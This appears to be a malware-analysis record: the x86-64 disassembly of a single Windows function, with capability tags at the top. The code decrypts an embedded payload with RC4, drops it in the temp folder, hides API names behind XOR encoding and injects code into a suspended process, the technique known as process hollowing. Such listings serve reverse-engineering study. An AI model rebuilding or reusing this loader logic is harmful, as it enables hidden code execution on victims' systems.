Function at 0x1400016a0
Capabilities:
Encode data using xor
Get common file path
Link many functions at runtime
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0xa3b8
call fcn.14005cd00
sub rsp, rax
movaps xmmword [rsp + 0xa3a0], xmm6
xor ebp, ebp
test rcx, rcx
je 0x1400024e6
movsxd r15, dword [rcx + 0x3c]
mov rax, r15
add rax, rcx
je 0x1400024e6
lea rbx, [r15 + rcx]
add rbx, 0x108
test rbx, rbx
je 0x1400024e6
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0xa0], rax
lea rdx, [rsp + 0x840]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call sub.api_ms_win_crt_utility_l1_1_0.dll_srand
lea rsi, [rsp + 0x520]
mov r8d, 0x104
mov rcx, rsi
xor edx, edx
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
cdqe
imul rcx, rax, 0x66666667
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
add ecx, ecx
lea ecx, [rcx + rcx*4]
neg ecx
lea edi, [rax + rcx]
add edi, 0xa
movabs r12, 0xe38e38e38e38e38f
lea r13, str.QWEDFG345678zxcvbnw
lea r14, [rsp + 0xa40]
nop dword [rax + rax]
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
movsxd rcx, eax
mov rax, rcx
mul r12
shr rdx, 3
and rdx, 0xfffffffffffffffe
lea rax, [rdx + rdx*8]
sub rcx, rax
movzx eax, byte [r13 + rcx]
mov byte [rsp + 0xa40], al
mov byte [rsp + 0xa41], 0
mov rcx, rsi
mov rdx, r14
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
dec edi
jne 0x140001780
lea rsi, [rsp + 0x630]
lea r8, [rsp + 0x840]
mov edx, 0x104
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea r8, [rsp + 0x520]
mov edx, 0x104
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
mov word [rsp + 0x836], 0
mov qword [rsp + 0x98], 0
lea r8, [0x140125022]
lea rcx, [rsp + 0x98]
mov rdx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
xor ebp, ebp
test eax, eax
jne 0x1400024e6
cmp qword [rsp + 0x98], 0
je 0x1400024e6
mov ecx, 6
call sym.operator_new_unsigned_long_long_
mov rsi, rax
mov dword [rax], 0x8e9c5b5a
mov word [rax + 4], 0x6c74
lea rdx, [0x140125030]
lea rcx, [rsp + 0xa40]
mov r8d, 0x9960
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov ecx, 0x100
call sym.operator_new_unsigned_long_long_
mov rcx, rax
xorps xmm0, xmm0
movups xmmword [rax + 0xf0], xmm0
movups xmmword [rax + 0xe0], xmm0
movups xmmword [rax + 0xd0], xmm0
movups xmmword [rax + 0xc0], xmm0
movups xmmword [rax + 0xb0], xmm0
movups xmmword [rax + 0xa0], xmm0
movups xmmword [rax + 0x90], xmm0
movups xmmword [rax + 0x80], xmm0
movups xmmword [rax + 0x70], xmm0
movups xmmword [rax + 0x60], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax], xmm0
xor eax, eax
mov r12, qword [rsp + 0xa0]
mov byte [rcx + rax], al
inc rax
cmp rax, 0x100
jne 0x1400018e0
xor r8d, r8d
movabs r9, 0xaaaaaaaaaaaaaaab
xor r10d, r10d
nop
mov rax, r8
mul r9
shr rdx, 1
and rdx, 0xfffffffffffffffe
lea rax, [rdx + rdx*2]
mov rdx, rsi
sub rdx, rax
movzx eax, byte [rcx + r8]
add r10b, al
add r10b, byte [rdx + r8]
movzx edx, r10b
movzx r11d, byte [rcx + rdx]
mov byte [rcx + r8], r11b
mov byte [rcx + rdx], al
inc r8
cmp r8, 0x100
jne 0x140001900
xor eax, eax
xor edx, edx
xor r8d, r8d
nop word cs:[rax + rax]
lea r9d, [r8 + 1]
lea r10d, [r8 + 0x100]
test r9d, r9d
cmovns r10d, r9d
and r10d, 0xffffff00
neg r10d
add r8d, r10d
inc r8d
movsxd r9, r8d
movzx r10d, byte [rcx + r9]
add dl, r10b
movzx r11d, dl
movzx edi, byte [rcx + r11]
mov byte [rcx + r9], dil
mov byte [rcx + r11], r10b
add r10b, byte [rcx + r9]
movzx r9d, r10b
movzx r9d, byte [rcx + r9]
xor byte [rsp + rax + 0xa40], r9b
inc rax
cmp rax, 0x9960
jne 0x140001950
call sym.operator_delete_void_
mov r9, qword [rsp + 0x98]
lea rcx, [rsp + 0xa40]
mov edx, 1
mov r8d, 0x9960
call fcn.1400665f0
mov rcx, qword [rsp + 0x98]
call fcn.1400665c0
movzx edi, word [r12 + 6]
test rdi, rdi
setne r13b
je 0x140001a54
lea rdx, str..reloc
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x140001a51
add rbx, 0x28
mov ecx, 1
lea r14, str..reloc
nop word cs:[rax + rax]
mov r12, rcx
cmp rdi, rcx
je 0x140001a40
mov rcx, rbx
mov rdx, r14
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
lea rcx, [r12 + 1]
add rbx, 0x28
test eax, eax
jne 0x140001a20
cmp r12, rdi
setb r13b
mov r12, qword [rsp + 0xa0]
jmp 0x140001a54
mov r13b, 1
xorps xmm0, xmm0
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmmword [rsp + 0x1f0], xmm0
movaps xmmword [rsp + 0x200], xmm0
movaps xmmword [rsp + 0x210], xmm0
movaps xmmword [rsp + 0x220], xmm0
movaps xmmword [rsp + 0x230], xmm0
mov qword [rsp + 0x240], 0
mov dword [rsp + 0x1e0], 0x68
movaps xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], 0
movups xmm0, xmmword [0x14012e9d2]
movups xmmword [rsp + 0xba], xmm0
movups xmm0, xmmword [0x14012e9c8]
movaps xmmword [rsp + 0xb0], xmm0
cmp word [rsp + 0xc8], 0
je 0x140001af4
xor eax, eax
nop dword [rax]
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0xb0], cx
inc rax
cmp rax, 0xd
jne 0x140001ae0
lea rcx, [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
je 0x1400024dc
cmp word [rsp + 0xc8], 0
jne 0x140001b34
xor eax, eax
nop dword [rax + rax]
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0xb0], cx
inc rax
cmp rax, 0xd
jne 0x140001b20
xorps xmm0, xmm0
movups xmmword [rsp + 0xba], xmm0
movaps xmmword [rsp + 0xb0], xmm0
movups xmm1, xmmword [0x14012e9f0]
movups xmmword [rsp + 0x12e], xmm1
movups xmm1, xmmword [0x14012e9e2]
movaps xmmword [rsp + 0x120], xmm1
cmp word [rsp + 0x13c], 0
je 0x140001b94
xor eax, eax
nop word cs:[rax + rax]
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0x120], cx
inc rax
cmp rax, 0xf
jne 0x140001b80
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x120]
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebp, eax
movsxd rcx, eax
call sym.operator_new___unsigned_long_long_
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x120]
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400024dc
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x1e0]
mov qword [rsp + 0x40], rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
lea rcx, [rsp + 0x630]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call rax
test rax, rax
je 0x1400024dc
cmp word [rsp + 0x13c], 0
jne 0x140001c84
xor eax, eax
nop word [rax + rax]
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0x120], cx
inc rax
cmp rax, 0xf
jne 0x140001c70
xorps xmm0, xmm0
movups xmmword [rsp + 0x12e], xmm0
movaps xmmword [rsp + 0x120], xmm0
test r13b, r13b
je 0x140001d94
movups xmm0, xmmword [0x14012ea0e]
movups xmmword [rsp + 0x25e], xmm0
movups xmm0, xmmword [0x14012ea00]
movaps xmmword [rsp + 0x250], xmm0
cmp word [rsp + 0x26c], 0
je 0x140001ce4
xor eax, eax
nop dword [rax + rax]
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0x250], cx
inc rax
cmp rax, 0xf
jne 0x140001cd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x250]
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebp, eax
movsxd rcx, eax
call sym.operator_new___unsigned_long_long_
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x250]
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400024dc
mov rcx, qword [rsp + 0x80]
lea rdx, [rsp + 0x1dc]
call rax
cmp word [rsp + 0x26c], 0
jne 0x140001d94
xor eax, eax
nop
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0x250], cx
inc rax
cmp rax, 0xf
jne 0x140001d80
movups xmm0, xmmword [0x14012ea2c]
movups xmmword [rsp + 0x10e], xmm0
movups xmm0, xmmword [0x14012ea1e]
movaps xmmword [rsp + 0x100], xmm0
cmp word [rsp + 0x11c], 0
je 0x140001dd4
xor eax, eax
nop
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0x100], cx
inc rax
cmp rax, 0xf
jne 0x140001dc0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x100]
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebp, eax
movsxd rcx, eax
call sym.operator_new___unsigned_long_long_
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x100]
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400024dc
cmp word [rsp + 0x11c], 0
jne 0x140001e74
xor ecx, ecx
nop dword [rax]
lea edx, [rcx + 0x39]
xor word [rsp + rcx*2 + 0x100], dx
inc rcx
cmp rcx, 0xf
jne 0x140001e60
xorps xmm0, xmm0
movups xmmword [rsp + 0x10e], xmm0
movaps xmmword [rsp + 0x100], xmm0
mov rcx, qword [rsp + 0x80]
mov edx, dword [r12 + 0x34]
mov r8d, dword [r12 + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
call rax
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x140001f83
movups xmm0, xmmword [0x14012ea4c]
movaps xmmword [rsp + 0x260], xmm0
movups xmm0, xmmword [0x14012ea3c]
movaps xmmword [rsp + 0x250], xmm0
mov word [rsp + 0x270], 0x49
xor eax, eax
test al, al
jne 0x140001f04
xor eax, eax
nop word [rax + rax]
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0x250], cx
inc rax
cmp rax, 0x11
jne 0x140001ef0
lea rcx, [rsp + 0x250]
call fcn.1400014d0
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400024dc
mov rcx, qword [rsp + 0x80]
xor edx, edx
call rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp word [rsp + 0x270], 0
jne 0x140001f5c
xor eax, eax
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0x250], cx
inc rax
cmp rax, 0x11
jne 0x140001f48
xorps xmm0, xmm0
movaps xmmword [rsp + 0x260], xmm0
movaps xmmword [rsp + 0x250], xmm0
mov word [rsp + 0x270], 0
mov rcx, qword [rsp + 0x50]
call fcn.1400016a0
mov eax, dword [rsp + 0x60]
sub eax, dword [r12 + 0x34]
mov dword [rsp + 0xac], eax
movabs rax, 0x4b0033003b0027
mov qword [rsp + 0x15e], rax
movups xmm0, xmmword [0x14012ea6e]
movaps xmmword [rsp + 0x150], xmm0
movups xmm0, xmmword [0x14012ea5e]
movaps xmmword [rsp + 0x140], xmm0
cmp word [rsp + 0x164], 0
je 0x140001fe4
xor eax, eax
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0x140], cx
inc rax
cmp rax, 0x13
jne 0x140001fd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x140]
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebp, eax
movsxd rcx, eax
call sym.operator_new___unsigned_long_long_
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x140]
xor ecx, ecx
xor edx, edx
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
cmp word [rsp + 0x164], 0
jne 0x140002084
xor eax, eax
nop dword [rax]
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0x140], cx
inc rax
cmp rax, 0x13
jne 0x140002070
xorps xmm0, xmm0
movaps xmmword [rsp + 0x150], xmm0
movaps xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x15e], 0
test r13b, r13b
je 0x1400020b4
mov rdx, qword [rsp + 0x60]
mov dword [r12 + 0x34], edx
jmp 0x1400020b9
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x80]
mov r9d, dword [r12 + 0x54]
mov qword [rsp + 0x20], 0
mov r8, qword [rsp + 0x50]
call qword [rsp + 0x68]
xor ebp, ebp
test rax, rax
je 0x1400024de
mov eax, dword [r12 + 0xa0]
mov dword [rsp + 0x7c], 0
test eax, eax
je 0x140002105
mov ecx, dword [r12 + 0xa4]
mov dword [rsp + 0x7c], ecx
mov ebp, eax
movzx eax, word [r12 + 6]
test r13b, r13b
mov qword [rsp + 0x70], rdi
je 0x1400021aa
test ax, ax
setne bl
je 0x14000221e
mov rax, qword [rsp + 0x50]
lea rdi, [rax + r15]
add rdi, 0x18
xor r14d, r14d
xor eax, eax
mov qword [rsp + 0x58], rax
movzx ecx, word [r12 + 0x14]
lea rax, [rdi + rcx]
mov edx, dword [rdi + rcx + 0xc]
cmp ebp, edx
jb 0x140002163
mov ecx, dword [rax + 8]
add ecx, edx
cmp ebp, ecx
mov rcx, qword [rsp + 0x58]
cmovb rcx, rax
mov qword [rsp + 0x58], rcx
add rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x80]
mov r9d, dword [rax + 0x10]
mov r8d, dword [rax + 0x14]
add r8, qword [rsp + 0x50]
mov qword [rsp + 0x20], 0
call qword [rsp + 0x68]
test rax, rax
je 0x140002225
inc r14
movzx eax, word [r12 + 6]
add rdi, 0x28
cmp r14, rax
setb bl
jb 0x14000213c
jmp 0x140002225
test ax, ax
je 0x140002242
mov rax, qword [rsp + 0x50]
lea rdi, [rax + r15]
add rdi, 0x18
xor eax, eax
mov qword [rsp + 0x58], rax
xor ebx, ebx
movzx eax, word [r12 + 0x14]
mov rcx, qword [rsp + 0x80]
mov edx, dword [rdi + rax + 0xc]
mov r9d, dword [rdi + rax + 0x10]
add rdx, qword [rsp + 0x60]
mov r8d, dword [rdi + rax + 0x14]
add r8, qword [rsp + 0x50]
mov qword [rsp + 0x20], 0
call qword [rsp + 0x68]
test rax, rax
je 0x1400024dc
inc rbx
movzx eax, word [r12 + 6]
add rdi, 0x28
cmp rbx, rax
jb 0x1400021c9
mov rdi, qword [rsp + 0x70]
jmp 0x140002249
xor eax, eax
mov qword [rsp + 0x58], rax
xor ebp, ebp
test bl, 1
jne 0x1400024de
cmp qword [rsp + 0x58], 0
mov rdi, qword [rsp + 0x70]
jne 0x140002249
jmp 0x1400024de
xor eax, eax
mov qword [rsp + 0x58], rax
test r13b, r13b
je 0x140002504
xorps xmm6, xmm6
xor r15d, r15d
mov rdx, qword [rsp + 0x50]
jmp 0x140002284
mov rdi, qword [rsp + 0x70]
mov ecx, 0xd
cmp ecx, 0xd
mov eax, 0
cmove ecx, eax
test ecx, ecx
mov r12, qword [rsp + 0xa0]
jne 0x1400024d8
cmp r15d, dword [rsp + 0x7c]
jae 0x1400024d6
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x14]
mov ecx, r15d
add rcx, rdx
add r15d, 8
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1c8], rcx
mov r12d, dword [rax + rcx + 4]
movabs rax, 0x1fffffff8
add r12, rax
shr r12, 1
mov ecx, 0xd
test r12d, r12d
je 0x140002269
xor ebx, ebx
jmp 0x1400022f0
inc ebx
cmp ebx, r12d
mov rdx, qword [rsp + 0x50]
je 0x14000225f
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 0x14]
mov ecx, r15d
add rcx, rdx
movzx r13d, word [rax + rcx]
mov edi, 0xf
cmp r13, 0x1000
jb 0x1400024b0
mov rax, qword [rsp + 0x1d0]
mov rcx, qword [rsp + 0x1c8]
mov edi, dword [rax + rcx]
and r13d, 0xfff
mov dword [rsp + 0xd0], 0
movups xmm0, xmmword [0x14012ea94]
movaps xmmword [rsp + 0x260], xmm0
movups xmm0, xmmword [0x14012ea84]
movaps xmmword [rsp + 0x250], xmm0
mov dword [rsp + 0x270], 0x4a0030
add r13, qword [rsp + 0x60]
cmp word [rsp + 0x272], 0
je 0x140002394
xor eax, eax
nop word cs:[rax + rax]
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0x250], cx
inc rax
cmp rax, 0x12
jne 0x140002380
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
lea r8, [rsp + 0x250]
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov r14d, eax
movsxd rcx, eax
call sym.operator_new___unsigned_long_long_
mov rbp, rax
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rax
xor ecx, ecx
xor edx, edx
lea r8, [rsp + 0x250]
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, qword [rsp + 0x70]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400024ab
add r13, rdi
cmp word [rsp + 0x272], 0
jne 0x140002434
xor ecx, ecx
nop
lea edx, [rcx + 0x39]
xor word [rsp + rcx*2 + 0x250], dx
inc rcx
cmp rcx, 0x12
jne 0x140002420
movaps xmmword [rsp + 0x260], xmm6
movaps xmmword [rsp + 0x250], xmm6
mov dword [rsp + 0x270], 0
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rdx, r13
lea r8, [rsp + 0xd0]
call rax
mov eax, dword [rsp + 0xac]
add dword [rsp + 0xd0], eax
xor edi, edi
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rdx, r13
lea r8, [rsp + 0xd0]
call qword [rsp + 0x68]
jmp 0x1400024b0
mov edi, 1
add r15d, 2
cmp edi, 0xf
je 0x1400022e0
test edi, edi
je 0x1400022e0
mov ecx, edi
mov rdx, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x70]
jmp 0x140002269
xor ecx, ecx
test ecx, ecx
je 0x140002504
xor ebp, ebp
mov rcx, rsi
call sym.operator_delete_void_
mov eax, ebp
movaps xmm6, xmmword [rsp + 0xa3a0]
add rsp, 0xa3b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov dword [rsp + 0x250], 0x10000b
movups xmm0, xmmword [0x14012eac4]
movups xmmword [rsp + 0xec], xmm0
movups xmm0, xmmword [0x14012eab8]
movaps xmmword [rsp + 0xe0], xmm0
movups xmm0, xmmword [0x14012eaa8]
movaps xmmword [rsp + 0xd0], xmm0
cmp word [rsp + 0xfa], 0
je 0x14000255d
xor eax, eax
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0xd0], cx
inc rax
cmp rax, 0x16
jne 0x140002549
lea rcx, [rsp + 0xd0]
call fcn.1400014d0
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
setne bpl
je 0x1400024de
mov rcx, qword [rsp + 0x88]
lea rdx, [rsp + 0x250]
call rax
mov rcx, qword [rsp + 0x80]
mov edx, dword [rsp + 0x2f4]
add rdx, 8
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x60]
mov r9d, 4
call qword [rsp + 0x68]
cmp word [rsp + 0xfa], 0
jne 0x1400025e1
xor eax, eax
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0xd0], cx
inc rax
cmp rax, 0x16
jne 0x1400025cd
xorps xmm0, xmm0
movups xmmword [rsp + 0xec], xmm0
movaps xmmword [rsp + 0xe0], xmm0
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [0x14012eaf0]
movups xmmword [rsp + 0x1ac], xmm0
movups xmm0, xmmword [0x14012eae4]
movaps xmmword [rsp + 0x1a0], xmm0
movups xmm0, xmmword [0x14012ead4]
movaps xmmword [rsp + 0x190], xmm0
mov eax, dword [r12 + 0x28]
add eax, dword [rsp + 0x60]
mov dword [rsp + 0x300], eax
cmp word [rsp + 0x1ba], 0
je 0x14000265a
xor eax, eax
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0x190], cx
inc rax
cmp rax, 0x16
jne 0x140002646
lea rcx, [rsp + 0x190]
call fcn.1400014d0
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x88]
lea rdx, [rsp + 0x250]
call rax
cmp word [rsp + 0x1ba], 0
jne 0x1400026a6
xor eax, eax
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0x190], cx
inc rax
cmp rax, 0x16
jne 0x140002692
xorps xmm0, xmm0
movups xmmword [rsp + 0x1ac], xmm0
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmmword [rsp + 0x190], xmm0
movups xmm0, xmmword [0x14012eb0a]
movups xmmword [rsp + 0x17a], xmm0
movups xmm0, xmmword [0x14012eb00]
movaps xmmword [rsp + 0x170], xmm0
cmp word [rsp + 0x188], 0
je 0x140002700
xor eax, eax
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0x170], cx
inc rax
cmp rax, 0xd
jne 0x1400026ec
lea rcx, [rsp + 0x170]
call fcn.1400014d0
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x88]
call rax
cmp word [rsp + 0x188], 0
jne 0x1400024de
xor eax, eax
lea ecx, [rax + 0x39]
xor word [rsp + rax*2 + 0x170], cx
inc rax
cmp rax, 0xd
jne 0x140002734
jmp 0x1400024de